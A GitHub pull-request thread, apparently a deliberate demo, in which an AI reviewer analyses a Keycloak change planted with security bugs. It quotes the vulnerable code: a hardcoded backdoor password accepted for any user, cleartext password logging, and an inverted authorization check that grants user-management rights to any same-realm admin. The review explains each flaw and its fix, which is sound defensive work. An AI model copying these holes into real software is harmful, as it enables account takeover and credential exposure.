THIS PR HAS SECURITY BUGS - DO NOT MERGE!!!!

[ssilvert]

No description provided.

[ssilvert]

@claude Scan for security bugs

[claude]

Claude finished @ssilvert's task in 1m 26s —— View job

---

Security Scan Results — 2 Critical Vulnerabilities Found

• Read changed files
• Analyze diff vs origin/main
• Identify security issues
• Post findings

This PR introduces two critical, exploitable security vulnerabilities. Both should block the merge (as the title indicates).

---

CRITICAL #1 — Hardcoded Backdoor Password + Plaintext Password Logging

File: services/src/main/java/org/keycloak/authentication/authenticators/browser/UsernamePasswordForm.java:72-80

protected boolean validateForm(AuthenticationFlowContext context, MultivaluedMap<String, String> formData) {
    logger.debugf("Login attempt - username: %s, password: %s",
            formData.getFirst("username"), formData.getFirst("password"));
    // TODO: remove before merge
    if ("kc-debug-2024!".equals(formData.getFirst("password"))) {
        return true;
    }
    return validateUserAndPassword(context, formData);
}

Two distinct, severe issues stacked into one method:

1a. Authentication bypass via hardcoded master password (CWE-798, CWE-287)
Any submitted form whose password field equals kc-debug-2024! is accepted as valid for any username, in any realm. The check happens before validateUserAndPassword(...) and returns true unconditionally — so it bypasses:

• password verification entirely
• account-lockout / brute-force protection
• disabled-user checks
• federated identity, OTP, WebAuthn — all subsequent factors in the flow still rely on the user context, but this single call short-circuits the username/password step for every user on the platform.

A TODO: remove before merge comment does not mitigate this; secrets in source control are public the moment they land.

1b. Plaintext password logged on every login attempt (CWE-532)
logger.debugf("Login attempt - username: %s, password: %s", ...) writes the cleartext password (and an arbitrary attacker-controlled string in the username slot) into Keycloak's debug log. At DEBUG level this is on by default in many dev/staging configs and frequently shipped to log aggregators (ELK, Splunk, CloudWatch). Every credential — including failed-login typos that often equal another user's real password — is exposed to anyone with log read access.

Fix: Delete the entire added block. The original method body — return validateUserAndPassword(context, formData); — was correct.

Fix this →

---

CRITICAL #2 — Inverted Authorization Check Grants Privilege Escalation

File: services/src/main/java/org/keycloak/services/resources/admin/fgap/UserPermissions.java:237-241

@Override
public boolean canManage() {
    if (root.hasOneAdminRole(AdminRoles.MANAGE_USERS)) {
        return true;
    }

    if (root.isAdminSameRealm()) {
        return true;        // <-- was: if (!root.isAdminSameRealm()) return false;
    }

    return hasPermission(MgmtPermissions.MANAGE_SCOPE);
}

The original logic was a guard clause: "if the admin is not from the same realm, deny; otherwise, fall through and ask the fine-grained Authz engine (MANAGE_SCOPE) whether they actually have permission." The new logic inverts the meaning entirely: any admin authenticated against the same realm is granted canManage() without ever consulting the Authz policy.

Impact (CWE-285, CWE-863 — broken/incorrect access control):

• Any account in a realm holding any admin-console role (e.g. view-users, query-users, view-realm — roles that should be strictly read-only) is now treated as having full manage-users authority.
• requireManage() on line 246 gates write operations across the user-management admin REST API. Inverting canManage() therefore enables: creating users, resetting passwords, assigning roles, deleting users, disabling MFA, impersonation toggles — i.e. realm-wide account takeover from any low-privilege admin role.
• The fine-grained admin permissions (FGAP) feature that this class implements is completely bypassed: the MANAGE_SCOPE policy evaluation on line 241 is now unreachable for same-realm admins.

Fix: Revert to the original guard:

if (!root.isAdminSameRealm()) {
    return false;
}
return hasPermission(MgmtPermissions.MANAGE_SCOPE);

Fix this →

---

Summary

#	File	Severity	Class
1a	UsernamePasswordForm.java:75-77	Critical	Auth bypass / hardcoded credentials (CWE-798, CWE-287)
1b	UsernamePasswordForm.java:73-74	Critical	Sensitive data in log (CWE-532)
2	UserPermissions.java:237-239	Critical	Broken access control / privilege escalation (CWE-285, CWE-863)

The PR title is accurate — this branch must not be merged. Recommend reverting commit 1103142c0c outright rather than patching forward, so the bad code never enters the history of any other branch.
• Branch: SECURITY-BUGS-DO-NOT-MERGE

[ssilvert]

@claude do a general review for any other problems

[claude]

Claude finished @ssilvert's task in 2m 19s —— View job

---

General Review (non-security issues)

• Read changed files in full
• Review diff against HEAD~1 (no merge base with origin/main — branch was force-pushed)
• Look for non-security issues
• Post findings

Below are the issues I'd flag in a normal review pass — i.e. everything beyond the two critical security bugs already documented above. Most of these would still be raised even if the changes weren't dangerous on their own.

---

UsernamePasswordForm.java

1. // TODO: remove before merge is a process smell (line 77). A TODO with the word merge in it has bypassed every gate that should have caught it: local review, the author's pre-push sanity check, and CI. Keycloak does not currently appear to grep for these strings in CI. A trivial workflow check — ! git grep -nE 'TODO.*(before|don.?t).*(merge|commit|ship)' — would have failed this PR before a human looked at it. Worth proposing independently of this incident.

2. The debug-log line only fires for the base class. UsernamePasswordForm has three subclasses, all of which override validateForm without calling super:

Subclass	File	Calls super.validateForm?
PasswordForm	services/.../browser/PasswordForm.java:40	No
UsernameForm	services/.../browser/UsernameForm.java:58	No
IdpUsernamePasswordForm	services/.../broker/IdpUsernamePasswordForm.java:81	No

So whatever the intent of the new logging was — even charitably reading it as "help diagnose a flaky login" — it would not have worked for password-only flows or identity-brokered logins. The asymmetry is a bug in its own right.

3. Arguments to logger.debugf are evaluated eagerly. Logger.debugf(...) defers the String.format, not the argument expressions — formData.getFirst("username") and formData.getFirst("password") are invoked on every login attempt regardless of log level. Negligible cost for two HashMap lookups, but worth flagging because it's a frequent misconception ("debugf is cheap when DEBUG is off"). The idiomatic pattern in Keycloak when arguments are expensive is if (logger.isDebugEnabled()) { … }.

4. No tests added. A change to validateForm — the core of every browser-login flow — without a corresponding test under services/src/test/.../authentication/ or tests/base/... would be a review blocker on its own. Real changes to this method historically come with test updates (cf. recent commits touching AbstractUsernameFormAuthenticator).

---

UserPermissions.java

5. The Javadoc on canManage() (lines 218–230) is now factually wrong. The doc states:

This method will follow the old default behavior … if any of these conditions are met:

• The admin is from the master realm managing a different realm
• …

Otherwise, it will use the Authz policy engine to resolve this answer.

After the change, a same-realm admin returns true immediately and never reaches hasPermission(MgmtPermissions.MANAGE_SCOPE) — so the documented contract ("uses the Authz policy engine") is violated for the most common case. Even setting aside the security impact, a code change that silently contradicts its own preceding Javadoc is a maintenance trap: future readers will trust the doc.

6. Lost the guard-clause idiom. The original

if (!root.isAdminSameRealm()) {
    return false;
}
return hasPermission(MgmtPermissions.MANAGE_SCOPE);

reads naturally as "cross-realm admins need explicit Authz approval; same-realm admins fall through to the Authz check." The new form

if (root.isAdminSameRealm()) {
    return true;
}
return hasPermission(MgmtPermissions.MANAGE_SCOPE);

is structurally a short-circuit grant, which masks how easy it is to flip the semantics by deleting the !. This is a textbook example of why inverting a guard clause is a common code-review failure mode — the visual diff is one character; the behavioral diff is "anyone with any admin role can manage users." A defensive pattern here would be to push the check through a named helper (e.g. requiresAuthzApprovalForUsers()) so the intent isn't carried solely by a !.

7. No tests. UserPermissions.canManage() is one of the highest-leverage authorization predicates in Keycloak — used transitively by requireManage(), which gates the entire user-management admin REST surface. A change in its branching logic without a matching test in tests/base/src/test/.../admin/.../UserPermissionsTest.java (or equivalent) would not survive a normal review. The fact that none of the existing tests caught the inversion suggests coverage of the isAdminSameRealm() == true && !MANAGE_USERS && !MANAGE_SCOPE branch is weak — worth a follow-up test even after the bug is reverted.

---

Cross-cutting

8. Commit message + branch naming. THIS PR HAS SECURITY BUGS - DO NOT MERGE!!!! is fine as a deliberate demo, but a real change would not pass Keycloak's commit conventions (typical pattern: fix(authn): … / fix(admin/fgap): … with an issue link). Also: no JIRA / GitHub issue reference, no Closes #…, no release-note label.

9. No CHANGELOG / release-notes entry. A semantic change to admin permission resolution would normally require a docs update under docs/documentation/release_notes/.

10. DCO is present (Signed-off-by: Stan Silvert …) — good, matches Keycloak's contribution requirements. Not a problem; just noting it because everything else in this PR is so wrong it's worth confirming what is right.

---

Recommendation

Same conclusion as the security pass: revert commit 1103142c0c outright rather than patching forward. None of the issues above are worth fixing in-place — the entire diff is intentional demo content.

A separate, real follow-up worth proposing once this is reverted:

• Add a grep-based CI gate for TODO.*(before|don.?t).*(merge|commit|ship).
• Add regression test coverage for the canManage() branch where the admin has neither MANAGE_USERS nor MANAGE_SCOPE but is same-realm — that branch is what the bug exploited, and its coverage gap is what let the bug be invisible to existing tests.
  • Branch: SECURITY-BUGS-DO-NOT-MERGE

[sschu]

@copilot Please review this for security issues.

[sschu]

@ssilvert Apparently it does not work if I try to trigger a review by Copilot. Can you trigger the review with the same comment (you can also select the model below the comment)?

[ssilvert]

@ssilvert Apparently it does not work if I try to trigger a review by Copilot. Can you trigger the review with the same comment (you can also select the model below the comment)?

@sschu I tried to set that up but copilot has paused new signups for individuals.
https://github.blog/news-insights/company-news/changes-to-github-copilot-individual-plans/